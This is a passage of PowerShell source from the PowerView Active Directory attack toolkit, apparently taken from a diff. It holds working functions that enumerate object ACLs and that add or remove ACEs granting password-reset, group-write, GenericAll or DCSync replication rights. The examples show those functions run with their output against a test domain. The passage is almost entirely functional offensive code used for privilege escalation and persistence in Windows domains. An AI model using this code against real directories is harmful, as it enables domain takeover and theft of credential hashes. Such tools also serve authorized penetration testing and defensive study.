[Switch] + $ResolveGUIDs, + + [String] + [Alias('Rights')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' + } + + if ($PSBoundParameters['Sacl']) { + $SearcherArguments['SecurityMasks'] = 'Sacl' + } + else { + $SearcherArguments['SecurityMasks'] = 'Dacl' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + + $DomainGUIDMapArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } + + # get a GUID -> name mapping + if ($PSBoundParameters['ResolveGUIDs']) { + $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments + } + } + + PROCESS { + if ($Searcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $Searcher = Get-DomainSearcher @SearcherArguments + if (-not $Searcher) { + Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + if ($Filter) { + $Searcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" + + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_.Properties + + if ($Object.objectsid -and $Object.objectsid[0]) { + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $ObjectSid = $Null + } + + try { + New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { + if ($PSBoundParameters['RightsFilter']) { + $GuidFilter = Switch ($RightsFilter) { + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + Default { '00000000-0000-0000-0000-000000000000' } + } + if ($_.ObjectType -eq $GuidFilter) { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True + } + } + else { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True + } + + if ($Continue) { + $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) + if ($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { + try { + $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + else { + $AclProperties[$_.Name] = $_.Value + } + } + $OutObject = New-Object -TypeName PSObject -Property $AclProperties + $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $OutObject + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $_ + } + } + } + } + catch { + Write-Verbose "[Get-DomainObjectAcl] Error: $_" + } + } + } + } +} + + +function Add-DomainObjectAcl { +<# +.SYNOPSIS + +Adds an ACL for a specific active directory object. + +AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. These rights are granted on the target +object for the specified -PrincipalIdentity. + +.PARAMETER TargetIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. Required. Wildcards accepted. + +.PARAMETER TargetDomain + +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +.PARAMETER TargetLDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory object targets. + +.PARAMETER TargetSearchBase + +The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Rights + +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. + +.PARAMETER RightsGUID + +Manual GUID representing the right to add to the target. + +.EXAMPLE + +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +... + +Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.EXAMPLE + +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +[no results returned] + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.LINK + +https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $TargetIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $TargetDomain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $TargetLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $TargetSearchBase, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] + [String] + $Rights = 'All', + + [Guid] + $RightsGUID + ) + + BEGIN { + $TargetSearcherArguments = @{ + 'Properties' = 'distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } + if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } + if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } + if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } + + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principals = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principals) { + throw "Unable to resolve principal: $PrincipalIdentity" + } + } + + PROCESS { + $TargetSearcherArguments['Identity'] = $TargetIdentity + $Targets = Get-DomainObject @TargetSearcherArguments + + ForEach ($TargetObject in $Targets) { + + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' + $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' + $ACEs = @() + + if ($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + # allows for the modification of group membership + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + } + } + + ForEach ($PrincipalObject in $Principals) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)" + + try { + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) + + if ($GUIDs) { + ForEach ($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } + + # add all the new ACEs to the specified object directory entry + ForEach ($ACE in $ACEs) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" + $TargetEntry = $TargetObject.GetDirectoryEntry() + $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' + $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) + $TargetEntry.PsBase.CommitChanges() + } + } + catch { + Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_" + } + } + } + } +} + + +function Remove-DomainObjectAcl { +<# +.SYNOPSIS + +Removes an ACL from a specific active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. These rights are removed from the target +object for the specified -PrincipalIdentity. + +.PARAMETER TargetIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. Required. Wildcards accepted. + +.PARAMETER TargetDomain + +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +.PARAMETER TargetLDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory object targets. + +.PARAMETER TargetSearchBase + +The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Rights + +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. + +.PARAMETER RightsGUID + +Manual GUID representing the right to add to the target. + +.EXAMPLE + +$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} + +[no results returned] + +Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword + +Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID } + +AceQualifier : AccessAllowed +ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + + +Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword + +Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} + +[no results returned] + +.LINK + +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $TargetIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $TargetDomain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $TargetLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $TargetSearchBase, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] + [String] + $Rights = 'All', + + [Guid] + $RightsGUID + ) + + BEGIN { + $TargetSearcherArguments = @{ + 'Properties' = 'distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } + if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } + if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } + if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } + + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principals = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principals) { + throw "Unable to resolve principal: $PrincipalIdentity" + } + } + + PROCESS { + $TargetSearcherArguments['Identity'] = $TargetIdentity + $Targets = Get-DomainObject @TargetSearcherArguments + + ForEach ($TargetObject in $Targets) { + + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' + $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' + $ACEs = @() + + if ($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + # allows for the modification of group membership + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + } + } + + ForEach ($PrincipalObject in $Principals) { + Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)" + + try { + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) + + if ($GUIDs) { + ForEach ($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } + + # remove all the specified ACEs from the specified object directory entry + ForEach ($ACE in $ACEs) { + Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" + $TargetEntry = $TargetObject.GetDirectoryEntry() + $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' + $TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE) + $TargetEntry.PsBase.CommitChanges() + } + } + catch { + Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_" + } + } + } + } +} + + +function Find-InterestingDomainAcl { +<# +.SYNOPSIS + +Finds object ACLs in the current (or specified) domain with modification +rights set to non-built in objects. + +Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName + +.DESCRIPTION + +This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, +and for each returned ACE entry it checks if principal security identifier +is 